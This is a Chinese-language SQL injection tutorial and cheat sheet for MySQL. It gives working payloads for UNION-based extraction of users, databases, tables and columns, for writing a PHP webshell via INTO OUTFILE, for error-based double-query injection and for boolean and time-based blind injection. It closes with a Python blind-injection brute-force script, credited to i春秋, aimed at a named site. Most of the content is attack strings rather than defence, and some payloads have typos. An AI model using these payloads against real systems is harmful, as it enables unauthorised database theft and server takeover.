mysql5.0版本之後,默認在數據庫中存放一個 information_schema
的數據庫,其中三張表是值得記住的,分別是schemata、tables、columns。
schemata表存儲了用戶創建的所有的數據庫的庫名,數據庫庫名字段爲schema_name。
tables表儲存了用戶創建的所有數據庫名與表名,數據庫與表名字段分別爲table_schema和table_name。
colums表儲存了用戶創建的庫名、表名和字段名,分別對應字段table_schema、table_name和column_name.
繞過(編碼):如URLEncode編碼,ASCII,HEX,unicode編碼繞過:
註釋
單行註釋雙減號 --,多行註釋/*
判斷注入點
/?id = 1 or 1=1
猜測列數
/?id=1' order by (bumber)--
遍歷可以得到當前表的列數
/?id=-1' union select ,1,2,3,(select xxx from xxx). 配合上面單引號注入猜測的列數
得到用戶名-數據庫名-版本號
/?id=-1' union select 1,2,concat_ws('-', user(), database(), version)--
遍歷可得到所有表
/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=database()
遍歷可得到所有表的列名
/?id=-1' union select 1,2,column_name from information_schema.columns where table_name='表名' and table_schema=database()
查找具體信息
/?id=-1' union select xxx,xxx,xxx from 上面的出來的表名
尋找注入點時注意括號和雙引號
獲取WebShell
利用SQL注入攻擊獲取WebShell其實就是在向服務器寫文件。(注意:這裏我們需要得到網站的絕對路徑)所有常用的關係數據庫管理系統(RDBMS)均包含內置的向服務器文件系統寫文件的功能。
select "<?php echo 'test'; ?>" into outfile "/usr/local/nginx/www/a.com";
雙查詢注入 用於網頁不輸出查詢結果但是輸出錯誤信息的情況
/?id=1' union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a--
其中select database()可替換爲返回一個值的任何查詢
盲注 用於網頁即不輸出查詢結果也不輸出錯誤信息但是出現錯誤查詢有不同的結果的情況
常見的SQL盲注入場景:
1、提交一個導致SQL查詢無效時,會返回一個通用錯誤頁面,提交正確則會返回一個內容可被適度控制的頁面。
2、提交一個導致SQL查詢無效時,會返回一個通用錯誤頁面,提交正確則會返回一個內容不可控的頁面。
3、提交受損或不正確的SQL既不會產生錯誤頁面,也不會以任何方式影響頁面輸出。
基於bool的盲注
直接看例子
//假設這個查詢返回結果爲1
/?id = 1
//那麼
/?id = 1 and 1=2 返回結果爲null
//則通過遍歷
/?id = 1 and SUBSTRING(user(),1,1)='a' 可以一步步猜出用戶名,其他敏感數據同理
基於時間的盲注
和基於布爾的SQL盲注入技術原理其實大同小異,當某一狀態爲真時,讓響應暫停幾秒鐘,而當狀態爲假時,不出現暫停
/?id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null
遍歷可以通過網頁是否立即響應變化從而通過逐個字母解析出查詢結果
最後加一個python的盲註腳本
該腳本轉自i春秋
import requests
def attack():
print 'launch an attack'
url = 'http://www.isbase.com/sqlbool.php'
user = '[+]system_user: '
zimu1 = range(33,65)
zimu2 = range(91,128)
zimu = zimu1 + zimu2
for l in range(1,16):
for i in zimu:
payload = "and SUBSTRING(user(),"+str(l)+",1)='" + chr(i) + "'"
payload = {'id': '1 ' + payload}
r = requests.get(url, params=payload)
wenben = r.text
wenben = wenben.encode("utf-8")
result = wenben.find("jim")
if(result != -1):
user = user + chr(i)
print user
if __name__ == '__main__':
print 'Author:zusheng'
print 'bbs:ichunqiu.com'
attack()
print '[+]ok'